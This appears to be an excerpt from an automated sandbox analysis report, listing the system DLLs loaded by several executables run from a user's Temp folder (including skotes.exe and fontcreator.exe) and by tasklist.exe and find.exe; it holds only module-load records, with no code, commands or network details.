Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003142001\fontcreator.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003142001\fontcreator.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003142001\fontcreator.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003142001\fontcreator.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Section loaded: sfc.dll
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Section loaded: explorerframe.dll
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Section loaded: apphelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Users\user\AppData\Local\Temp\1003143001\fontcreator.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1003143001\fontcreator.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Users\user\AppData\Local\Temp\1003143001\fontcreator.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1003143001\fontcreator.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Section loaded: shfolder.dll
